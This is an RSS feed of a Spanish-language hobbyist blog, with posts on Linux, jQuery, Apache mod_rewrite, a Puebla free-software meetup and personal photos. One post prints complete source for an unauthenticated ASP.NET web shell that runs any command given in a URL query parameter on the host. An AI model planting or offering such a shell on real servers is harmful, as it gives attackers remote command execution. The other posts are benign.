<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>[] [ Have you mooed today? ]</title>
	<atom:link href="http://dmouse.icenetx.net/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://dmouse.icenetx.net</link>
	<description>xDmouse</description>
	<pubDate>Wed, 05 May 2010 06:51:52 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Fotos</title>
		<link>http://dmouse.icenetx.net/?p=109</link>
		<comments>http://dmouse.icenetx.net/?p=109#comments</comments>
		<pubDate>Wed, 12 Aug 2009 05:42:31 +0000</pubDate>
		<dc:creator>Dmouse</dc:creator>
		
		<category><![CDATA[General]]></category>

		<category><![CDATA[auto ecológico]]></category>

		<category><![CDATA[Paseo de San Francisco]]></category>

		<category><![CDATA[puebla]]></category>

		<guid isPermaLink="false">http://dmouse.icenetx.net/?p=109</guid>
		<description><![CDATA[Pues ahora comparto dos fotos que me gustaron xD
Una es el auto ecológico xD
Y la otra es una foto del pantallazo de megafraude (megacable, megared) xD, la compañía que provee Internet a la mayoría de usuarios de Puebla, es barato su servicio pero como a crecido mucho la demanda su infraestructura no es muy buena [...]]]></description>
			<content:encoded><![CDATA[<p>Pues ahora comparto dos fotos que me gustaron xD</p>
<p>Una es el auto ecológico xD</p>
<div id="attachment_111" class="wp-caption aligncenter" style="width: 310px"><a href="http://dmouse.icenetx.net/wp-content/files/dsc000181.jpg"><img class="size-medium wp-image-111 " title="coche ecologico" src="http://dmouse.icenetx.net/wp-content/files/dsc000181-300x225.jpg" alt="Plaza paseo de san francisco" width="300" height="225" /></a><p class="wp-caption-text">Plaza paseo de san francisco</p></div>
<p>Y la otra es una foto del pantallazo de megafraude (megacable, megared) xD, la compañía que provee Internet a la mayoría de usuarios de Puebla, es barato su servicio pero como a crecido mucho la demanda su infraestructura no es muy buena y se caen sus servicios sobre todo el Internet :S, esta foto la tome de uno de los canales que usan para publicidad.</p>
<div id="attachment_112" class="wp-caption aligncenter" style="width: 310px"><a href="http://dmouse.icenetx.net/wp-content/files/dsc00449.jpg"><img class="size-medium wp-image-112 " title="Pantallazo megafraude" src="http://dmouse.icenetx.net/wp-content/files/dsc00449-300x225.jpg" alt="Pantallazo de megafraude" width="300" height="225" /></a><p class="wp-caption-text">Pantallazo de megafraude</p></div>
<p>Nada que ver una con otra pero están chiditas xD&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://dmouse.icenetx.net/?feed=rss2&amp;p=109</wfw:commentRss>
		</item>
		<item>
		<title>(*)</title>
		<link>http://dmouse.icenetx.net/?p=100</link>
		<comments>http://dmouse.icenetx.net/?p=100#comments</comments>
		<pubDate>Fri, 07 Aug 2009 05:08:30 +0000</pubDate>
		<dc:creator>Dmouse</dc:creator>
		
		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://dmouse.icenetx.net/?p=100</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-101" title="binario" src="http://dmouse.icenetx.net/wp-content/files/binario.jpg" alt="binario" width="350" height="320" /></p>
]]></content:encoded>
			<wfw:commentRss>http://dmouse.icenetx.net/?feed=rss2&amp;p=100</wfw:commentRss>
		</item>
		<item>
		<title>[DevNote] Tutoriales para Joomla!</title>
		<link>http://dmouse.icenetx.net/?p=79</link>
		<comments>http://dmouse.icenetx.net/?p=79#comments</comments>
		<pubDate>Wed, 17 Jun 2009 01:32:19 +0000</pubDate>
		<dc:creator>Dmouse</dc:creator>
		
		<category><![CDATA[programacion]]></category>

		<category><![CDATA[aportes]]></category>

		<category><![CDATA[componentes]]></category>

		<category><![CDATA[desarrollo]]></category>

		<category><![CDATA[devnote]]></category>

		<category><![CDATA[joomla]]></category>

		<category><![CDATA[modulos]]></category>

		<category><![CDATA[programacion devnote]]></category>

		<category><![CDATA[templates]]></category>

		<guid isPermaLink="false">http://dmouse.icenetx.net/?p=79</guid>
		<description><![CDATA[Hace unos días empece a participar en devnote una sitio creado para gente de habla hispana que quieren seguir un camino como desarrolladores en algún proyecto de SL.
La idea es tener documentación en español de como desarrollar en x o y proyecto y tener una bitácora del camino que siguió esa persona para convertirse en [...]]]></description>
			<content:encoded><![CDATA[<p>Hace unos días empece a participar en <a href="http://devnote.com.mx">devnote</a> una sitio creado para gente de habla hispana que quieren seguir un camino como desarrolladores en algún proyecto de SL.<br />
La idea es tener documentación en español de como desarrollar en x o y proyecto y tener una bitácora del camino que siguió esa persona para convertirse en desarrollador o seguir simplemente sus tutoriales.<br />
Actualmente se tiene pocos proyectos (<a href="http://devnote.com.mx/wordpress">wordpress</a>, <a href="http://devnote.com.mx/debian">debian</a>, <a href="http://devnote.com.mx/gentoo">gentoo</a>, <a href="http://devnote.com.mx/ubuntu">ubuntu</a>, <a href="http://devnote.com.mx/joomla">joomla</a>) así que si tienen interés en algún proyecto comuníquense con <a href="http://twitter.com/javier_galicia">@javier_galicia</a> (que es el admin del sitio) para que tenga una cuenta para publicar sus avances en aportaciones de algún proyecto de SL.</p>
<p>les dejo los 2 primeros post que publique para Joomla!</p>
<p style="text-align: center;"><em><strong>http://devnote.com.mx/joomla/</strong></em></p>
]]></content:encoded>
			<wfw:commentRss>http://dmouse.icenetx.net/?feed=rss2&amp;p=79</wfw:commentRss>
		</item>
		<item>
		<title>Junta linuxera GLP en Puebla</title>
		<link>http://dmouse.icenetx.net/?p=74</link>
		<comments>http://dmouse.icenetx.net/?p=74#comments</comments>
		<pubDate>Sat, 13 Jun 2009 02:39:08 +0000</pubDate>
		<dc:creator>Dmouse</dc:creator>
		
		<category><![CDATA[General]]></category>

		<category><![CDATA[junta]]></category>

		<category><![CDATA[linux]]></category>

		<category><![CDATA[puebla]]></category>

		<category><![CDATA[reunion]]></category>

		<category><![CDATA[software libre]]></category>

		<guid isPermaLink="false">http://dmouse.icenetx.net/?p=74</guid>
		<description><![CDATA[Bueno este post es para invitarlos a la junta del GLP el dia 27 de Junio se va a poner chidita gente hablando de SL a todos los interesados en el tema estaría chido que asistieran para charlar un rato
Ver Hotel Escuela - BUAP en un mapa más grande

]]></description>
			<content:encoded><![CDATA[<p>Bueno este post es para invitarlos a la junta del GLP el dia 27 de Junio se va a poner chidita gente hablando de SL a todos los interesados en el tema estaría chido que asistieran para charlar un rato<br />
<small>Ver <a style="color:#0000FF;text-align:left" href="http://maps.google.es/maps/ms?ie=UTF8&amp;t=h&amp;hl=es&amp;msa=0&amp;msid=101379089620058882486.00046c2ae5ef3ccfec868&amp;ll=19.034503,-98.201372&amp;spn=0.001141,0.002414&amp;source=embed">Hotel Escuela - BUAP</a> en un mapa más grande</small></p>
<p><img src="http://web2.twitpic.com/img/12183869-5dec06d5685ec65836f7d3b037e48ab5.4a33138b-scaled.jpg" alt="Lugar de la junta" /></p>
]]></content:encoded>
			<wfw:commentRss>http://dmouse.icenetx.net/?feed=rss2&amp;p=74</wfw:commentRss>
		</item>
		<item>
		<title>Python y Megaupload</title>
		<link>http://dmouse.icenetx.net/?p=56</link>
		<comments>http://dmouse.icenetx.net/?p=56#comments</comments>
		<pubDate>Thu, 28 May 2009 23:44:46 +0000</pubDate>
		<dc:creator>Dmouse</dc:creator>
		
		<category><![CDATA[programacion]]></category>

		<category><![CDATA[bash]]></category>

		<category><![CDATA[descargar automatico]]></category>

		<category><![CDATA[linux]]></category>

		<category><![CDATA[megaupload]]></category>

		<category><![CDATA[python]]></category>

		<category><![CDATA[saltar megaupload]]></category>

		<guid isPermaLink="false">http://dmouse.icenetx.net/?p=56</guid>
		<description><![CDATA[El otro día buscando un buen programa para descargar de megaupload y que funcione desde consola, me encontré con esto un script en python que resuelve el captcha de megaupload. Y pues me puse hacer un programita usando ese script para automatizar las descargas.
Aquí se los dejo. Necesitan dev-python/imaging y dev-python/urlgrabber.
fuckmegaupload

Cómo lo dicen en el [...]]]></description>
			<content:encoded><![CDATA[<p>El otro día buscando un buen programa para descargar de megaupload y que funcione desde consola, me encontré con <a title="mu_autocaptcha" href="http://hg.herecomethelizards.co.uk/mu_autocaptcha/">esto</a> un script en python que resuelve el captcha de megaupload. Y pues me puse hacer un programita usando ese script para automatizar las descargas.</p>
<p>Aquí se los dejo. Necesitan dev-python/imaging y dev-python/urlgrabber.</p>
<p style="text-align: center;"><span style="text-decoration: line-through;"><a href="http://dmouse.icenetx.net/wp-content/files/fuckmegaupload.tar.bz2">fuckmegaupload</a></span></p>
<p style="text-align: center;"><a href="http://dmouse.icenetx.net/wp-content/files/pantallazo-1.png"><img class="size-medium wp-image-61 aligncenter" title="fuckMegaupload" src="http://dmouse.icenetx.net/wp-content/files/pantallazo-1-300x187.png" alt="fuckMegaupload corriendo" /></a></p>
<p style="text-align: center;">Cómo lo dicen en el comentario de abajo esta cosa dejo de servir y cando lo iba a arreglar vi el proyecto que se llama plowshare esta chido <img src='http://dmouse.icenetx.net/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> así que deje de programar algo que ya esta hecho y mejorado <img src='http://dmouse.icenetx.net/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p style="text-align: center;">http://code.google.com/p/plowshare/</p>
<p style="text-align: center;">
<p style="text-align: center;">saludos</p>
]]></content:encoded>
			<wfw:commentRss>http://dmouse.icenetx.net/?feed=rss2&amp;p=56</wfw:commentRss>
		</item>
		<item>
		<title>Una Shell en asp.net en 3 patadas xD</title>
		<link>http://dmouse.icenetx.net/?p=49</link>
		<comments>http://dmouse.icenetx.net/?p=49#comments</comments>
		<pubDate>Tue, 21 Apr 2009 02:28:08 +0000</pubDate>
		<dc:creator>Dmouse</dc:creator>
		
		<category><![CDATA[programacion]]></category>

		<category><![CDATA[asp net c# shell command]]></category>

		<category><![CDATA[asp.net .net c# mono shell command]]></category>

		<guid isPermaLink="false">http://dmouse.icenetx.net/?p=49</guid>
		<description><![CDATA[el otro día como no tenia internet y el grado de ocio era grande, me puse a escribí un par de cosas comparto una de ellas con los lectores del blog creo que no son muchos xD.
&#60;%@ Page Language="c#" ContentType="text/plain" %&#62;
&#60;%@ Import Namespace="System.IO" %&#62;
&#60;%@ Import Namespace="System.Web" %&#62;
&#60;%@ Import Namespace="System.Web.UI" %&#62;
&#60;%@ Import Namespace="System.Diagnostics" %&#62;

&#60;script language="C#" runat="server"&#62;
	string [...]]]></description>
			<content:encoded><![CDATA[<p>el otro día como no tenia internet y el grado de ocio era grande, me puse a escribí<span class="goog-spellcheck-word" style="background: yellow none repeat scroll 0% 0%;"></span> un par de cosas comparto una de ellas con los lectores del blog creo que no son muchos xD.</p>
<pre>&lt;%@ Page Language="c#" ContentType="text/plain" %&gt;
&lt;%@ Import Namespace="System.IO" %&gt;
&lt;%@ Import Namespace="System.Web" %&gt;
&lt;%@ Import Namespace="System.Web.UI" %&gt;
&lt;%@ Import Namespace="System.Diagnostics" %&gt;

&lt;script language="C#" runat="server"&gt;
	string exec(string comm) {
        // en linux con mono
        //ProcessStartInfo info = new ProcessStartInfo("/bin/bash", "-c " + comm);
        //en windows
        ProcessStartInfo info = new ProcessStartInfo("cmd", @"/C " + comm);
	    info.RedirectStandardOutput = true;
            info.UseShellExecute = false;
            info.CreateNoWindow = true;

        Process p = new Process();
            p.StartInfo = info;
            p.Start();

        string processResults = p.StandardOutput.ReadToEnd();
            p.Close();

        return processResults;
    }

    void top() {
        System.Text.StringBuilder sb = new StringBuilder();
        Process[] processes = Process.GetProcesses();

        foreach (System.Diagnostics.Process process in processes){
            sb.Append(process.ProcessName);
            sb.Append(" - ");
            sb.Append(process.WorkingSet64 / 1000);
            sb.Append("KB\n");
        }
        Response.Write(sb.ToString());
    }

    protected override void OnLoad(EventArgs e) {
        string cmd = Request.QueryString["xD"];
        string ruta = Request.QueryString["ruta"];
        if ( cmd != "" ) {
            switch (cmd) {
                case "top": //lista los procesos del host
                    //Request.ContentType = "text/plain";
                    top();
                    break;
                default: // ejecuta el comando en el host
                    //Request.ContentType = "text/plain";
                    Response.Write(exec(cmd));
                    break;
            }
        }
        else Request.ContentType = "text/plain";
	}
&lt;/script&gt;</pre>
<p>haber si a alguien le sirve <img src='http://dmouse.icenetx.net/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> bytes</p>
]]></content:encoded>
			<wfw:commentRss>http://dmouse.icenetx.net/?feed=rss2&amp;p=49</wfw:commentRss>
		</item>
		<item>
		<title>Conectando la Guitarra de Guitar Hero a Gentoo Linux</title>
		<link>http://dmouse.icenetx.net/?p=47</link>
		<comments>http://dmouse.icenetx.net/?p=47#comments</comments>
		<pubDate>Tue, 07 Apr 2009 02:17:40 +0000</pubDate>
		<dc:creator>Dmouse</dc:creator>
		
		<category><![CDATA[General]]></category>

		<category><![CDATA[fof]]></category>

		<category><![CDATA[frets on fire]]></category>

		<category><![CDATA[gentoo]]></category>

		<category><![CDATA[guitarra]]></category>

		<category><![CDATA[linux]]></category>

		<category><![CDATA[xbox 360]]></category>

		<guid isPermaLink="false">http://dmouse.icenetx.net/?p=47</guid>
		<description><![CDATA[bueno pues como ya casi se hace costumbre de algunos GLP caer en las garras de un juego xD, ahora jugamos Frets on Fire y llegando a mi casa reborde que mi primo tenia Guitar Hero en su XBox 360, y le fui a pedir su guitarra para ver si se podía jugar con ella.
Lo [...]]]></description>
			<content:encoded><![CDATA[<p>bueno pues como ya casi se hace costumbre de algunos GLP caer en las garras de un juego xD, ahora jugamos <a title="Frets on Fire" href="http://fretsonfire.sourceforge.net/" target="_blank">Frets on Fire</a> y llegando a mi casa reborde que mi primo tenia Guitar Hero en su <strong>XBox 360</strong>, y le fui a pedir su guitarra para ver si se podía jugar con ella.</p>
<p>Lo único que hice fui compilar los módulos necesarios para que la guitarra fuese un Joystick.</p>
<p># cd /usr/src/linux/<br />
# make menuconfig</p>
<p>Device Drivers &#8212;&gt;<br />
Input device support  &#8212;&gt;<br />
[M]Joystick interface<br />
&lt;*&gt;   Event interface<br />
[*]   Joysticks/Gamepads  &#8212;&gt;<br />
[M]Gameport data dumper<br />
[M]X-Box gamepad support<br />
[*]     X-Box gamepad rumble support<br />
[*]     LED Support for Xbox360 controller &#8216;BigX&#8217; LED<br />
# make;make modules_install<br />
# cp arch/i386/boot/bzimage /boot/gentoo<br />
# update-modules</p>
<p>conectamos la guitarra al puerto usb y a jugar, ya solo basta configurar las teclas en el juego pero es muy fácil de hacer.</p>
<p><a href="http://code.google.com/p/fofix/">aquí un frets on fire con aspecto de Rock Band </a></p>
]]></content:encoded>
			<wfw:commentRss>http://dmouse.icenetx.net/?feed=rss2&amp;p=47</wfw:commentRss>
		</item>
		<item>
		<title>JQuery corners en IE7</title>
		<link>http://dmouse.icenetx.net/?p=41</link>
		<comments>http://dmouse.icenetx.net/?p=41#comments</comments>
		<pubDate>Mon, 16 Feb 2009 05:40:49 +0000</pubDate>
		<dc:creator>Dmouse</dc:creator>
		
		<category><![CDATA[programacion]]></category>

		<category><![CDATA[border-radius]]></category>

		<category><![CDATA[corners]]></category>

		<category><![CDATA[ie]]></category>

		<category><![CDATA[IE7]]></category>

		<category><![CDATA[jquery]]></category>

		<guid isPermaLink="false">http://dmouse.icenetx.net/?p=41</guid>
		<description><![CDATA[bueno despues de trabajar un rato con JQuery use Corners todo iba bonito en FF pero como siempre o sorpresa cuando lo abri con IE7 no funciono y tan bonita que se veia xD.
bueno despues de googlear un poco me encontre con esto un hack para que  -moz-border-radius funcionara en IE, usa border-radius.htc bueno solo [...]]]></description>
			<content:encoded><![CDATA[<p>bueno despues de trabajar un rato con JQuery use <a href="http://plugins.jquery.com/project/corners">Corners</a> todo iba bonito en FF pero como siempre o sorpresa cuando lo abri con IE7 no funciono y tan bonita que se veia xD.</p>
<p>bueno despues de googlear un poco me <a href="http://www.htmlremix.com/css/curved-corner-border-radius-cross-browser">encontre</a> con esto un hack para que  -moz-border-radius funcionara en IE, usa <a title="Download border-radius.htc" href="http://www.htmlremix.com/files/20080924-border-radius/border-radius.htc">border-radius.htc</a> bueno solo fue necesario hacerle unos cambios para que funcionara con JQuery, y despues modificar un poco el codigo de cornes</p>
<p>&#8230;<br />
// revisamos si es IE<br />
var ieAvailable=false;<br />
try{<br />
var versionIndex = navigator.userAgent.indexOf(&#8217;MSIE&#8217;);<br />
if (versionIndex &gt;= 0 )<br />
ieAvailable = true;<br />
}catch(err){}</p>
<p>//si es IE agregamos -moz-border-radius y los px que nos allan pasado<br />
if (ieAvailable){<br />
$(this).css(&#8217;-moz-border-radius&#8217;, options); // add border radius<br />
$(this).css(&#8217;behavior&#8217;, &#8216;url(border-radius.htc)&#8217;); // cargamos el script especial para IE<br />
return 0; // salimos de la función<br />
}</p>
<p>una copia del codigo http://glp.com.mx/dmouse/JQieCo.tar.bz2</p>
]]></content:encoded>
			<wfw:commentRss>http://dmouse.icenetx.net/?feed=rss2&amp;p=41</wfw:commentRss>
		</item>
		<item>
		<title>FELIZ CUMPLE LALYCH</title>
		<link>http://dmouse.icenetx.net/?p=17</link>
		<comments>http://dmouse.icenetx.net/?p=17#comments</comments>
		<pubDate>Thu, 07 Aug 2008 17:23:30 +0000</pubDate>
		<dc:creator>Dmouse</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://dmouse.wordpress.com/?p=23</guid>
		<description><![CDATA[
FELIZ CUMPLEAÑOS 
LALYCH

aunque todavia no es viernes 8 en México ya es 8 en China xD&#8230;
Te deseo lo mejor en tu día eres una gran persona y gracias por todo  hechale muchas ganas recuerda que si es facil para que lo haces? sigue dando lo mejor de ti en todo lo que hagas, sabes [...]]]></description>
			<content:encoded><![CDATA[<h1>
<p style="text-align:center;"><span style="color: #3366ff;"><strong>FELIZ CUMPLEAÑOS </strong></span></p>
<p style="text-align:center;"><span style="color: #3366ff;"><strong>LALYCH</strong></span></p>
</h1>
<p>aunque todavia no es viernes 8 en México ya es 8 en China xD&#8230;</p>
<p>Te deseo lo mejor en tu día eres una gran persona y gracias por todo <img src='http://dmouse.icenetx.net/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> hechale muchas ganas recuerda que si es facil para que lo haces? sigue dando lo mejor de ti en todo lo que hagas, sabes que eres la mejor un abrazote y todos mis mejores deseos para ti <img src='http://dmouse.icenetx.net/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> ({) cuidate mucho!</p>
<div class="wp-caption aligncenter" style="width: 500px"><a href="http://farm4.static.flickr.com/3084/2741209989_07da487703.jpg"><img src="http://farm4.static.flickr.com/3084/2741209989_07da487703.jpg" alt="feliz cumple lalych" width="490" height="368" /></a><p class="wp-caption-text">feliz cumple lalych</p></div>
]]></content:encoded>
			<wfw:commentRss>http://dmouse.icenetx.net/?feed=rss2&amp;p=17</wfw:commentRss>
		</item>
		<item>
		<title>Urls Semanticas o Amigables</title>
		<link>http://dmouse.icenetx.net/?p=13</link>
		<comments>http://dmouse.icenetx.net/?p=13#comments</comments>
		<pubDate>Wed, 06 Aug 2008 18:35:30 +0000</pubDate>
		<dc:creator>Dmouse</dc:creator>
		
		<category><![CDATA[linux]]></category>

		<category><![CDATA[programacion]]></category>

		<category><![CDATA[amigables]]></category>

		<category><![CDATA[apache]]></category>

		<category><![CDATA[mod_rewrite]]></category>

		<category><![CDATA[php]]></category>

		<category><![CDATA[semanticas]]></category>

		<category><![CDATA[urls]]></category>

		<guid isPermaLink="false">http://dmouse.wordpress.com/?p=18</guid>
		<description><![CDATA[que ondas pues hacia mucho que no posteaba nada por aquí, así que hoy voy a poner algo que se me ha hecho bonito con apache y php.
bueno primero que nada vamos a ver que onda con esto de la url semánticas o amigable vamos a explicar un pequeño ejemplo rápido y sencillo.
¿Que son las [...]]]></description>
			<content:encoded><![CDATA[<p>que ondas pues hacia mucho que no posteaba nada por aquí, así que hoy voy a poner algo que se me ha hecho bonito con apache y php.<br />
bueno primero que nada vamos a ver que onda con esto de la url semánticas o amigable vamos a explicar un pequeño ejemplo rápido y sencillo.</p>
<p>¿Que son las url Semánticas?<br />
Son aquellas URLs que son fáciles, legibles para cualquier usuario, que se están usando en la mayoría de sitios web dinámicos, con estas URL&#8217;s es mas fácil de recordar la dirección de la noticia que vi el día de ayer, por ejemplo:<br />
<code><br />
http://localhost/?anho=2009&amp;noticias=cruz-azul-es-campeon<br />
</code><br />
# por ejemplo tenemos una pagina que muestra las noticias y el año de esta noticia, esta vez solo tenemos 2 por GET pero podemos tener tantas como queramos y aumentando el numero de variables es mas difícil recordarla y es mas complicado analizarla.<br />
Con las URL semánticas esta URL se ve mejor:<br />
<code><br />
http://localhost/anho/2009/noticias/cruz-azul-es-campeon<br />
</code></p>
<p>¿Como hacemos esto?<br />
Gracias al mod_rewrite de apache es posible interpretar la url de esta forma solo tenemos que crear un archivo de configuración por ejemplo :<br />
<code><br />
~ $ cat ~/public_html/.htaccess</code></p>
<p>RewriteEngine On<br />
RewriteCond %{REQUEST_FILENAME} !-f<br />
RewriteCond %{REQUEST_FILENAME} !-d<br />
RewriteRule ^(.*)$ panel.php?route=$1 [L,QSA]</p>
<p>ahora<br />
<code><br />
RewriteEngine On<br />
</code><br />
activa la escritura<br />
<code><br />
RewriteCond %{REQUEST_FILENAME} !-f<br />
</code><br />
esta linea nos sirve para identificar si la dirección ingresada no es un archivo y continua<br />
<code><br />
RewriteCond %{REQUEST_FILENAME} !-d<br />
</code><br />
comprobamos si la dirección no es una carpeta<br />
<code><br />
RewriteRule ^(.*)$ index.php?url=$1 [L,QSA]<br />
</code><br />
esta linea es la que le dará el nivel a nuestra aplicación xD<br />
la partiremos poco a poco <strong>&#8220;RewriteRule&#8221;</strong> esto se encarga de interpretar las reglas.<br />
<strong>&#8220;^(.*)$&#8221;</strong> esto nos indica que  cualquier texto después de nuestra url base que en este caso es <strong>&#8220;localhost&#8221;</strong> se va a pasar al index.php?url=$1 aquí vamos a pasar toda esta parte &#8220;anho/2008/noticias/cruz-azul-es-campeon&#8221; que es lo que tendría nuestra variable GET, lo siguiente son modificadores<br />
[QSA]: Si está presente, se mantendrán los valores<br />
query_string que &#8220;traiga&#8221; la petición, añadiéndose<br />
los que indiquemos (o no), en nuestra regla.<br />
[L]: Parará el proceso de re-escritura después de<br />
aplicar la regla donde se encuentre.<br />
[NC]<br />
Este útil modificador hará que las expresiones regulares (o simplemente cadenas literales) que pongamos como patrón sean case-insensitive, es decir, que no se distinga entre mayúsculas y minúsculas. Esto nos puede venir bien muchas veces.</p>
<p>Con mod_rewrite podemos ser mas explícitos por ejemplo:<br />
<code>RewriteRule ^noticias/([a-z_-]+)/([0-9]+)/?$ noticias.php?anho=$1&amp;id=$2 [NC,L]</code><br />
la url pasa de de ser<br />
<code><br />
http://localhost/noticias.php?anho=2008&amp;id=9<br />
</code><br />
a<br />
<code><br />
http://localhost/noticias/2008/9<br />
</code></p>
<p>ahora en php solo tenemos que tratar nuestra variable GET normal</p>
<p><code><br />
noticias.php :<br />
echo $_GET[anho];<br />
echo $_GET[id];<br />
</code><br />
para el primer caso podriamos utilizar una clase como esta<br />
<code><br />
index.php:<br />
class url{<br />
function limpiar($valor) {<br />
return preg_replace('/[^a-zA-Z0-9-_]/&#8217;, &#8221;, $valor);<br />
}<br />
public static function get_url ($url){<br />
$url = preg_replace(&#8217;/\/$/&#8217;, &#8221;, $url);<br />
$partes = explode(&#8217;/', $url);<br />
$cantPartes = count($partes);<br />
if($cantPartes % 2 != 0)<br />
return false;<br />
$variables = array();<br />
for($c = 0; $c &lt; $cantPartes; $c = $c + 2){<br />
$nombre = self::limpiar($partes[$c]);<br />
$valor = self::limpiar($partes[$c + 1]);<br />
$variables[$nombre] = $valor;<br />
}<br />
return $variables;<br />
}<br />
}</code></p>
<p>$_GET = url::get_url($_GET[route]);<br />
print_r ($_GET);</p>
]]></content:encoded>
			<wfw:commentRss>http://dmouse.icenetx.net/?feed=rss2&amp;p=13</wfw:commentRss>
		</item>
	</channel>
</rss>
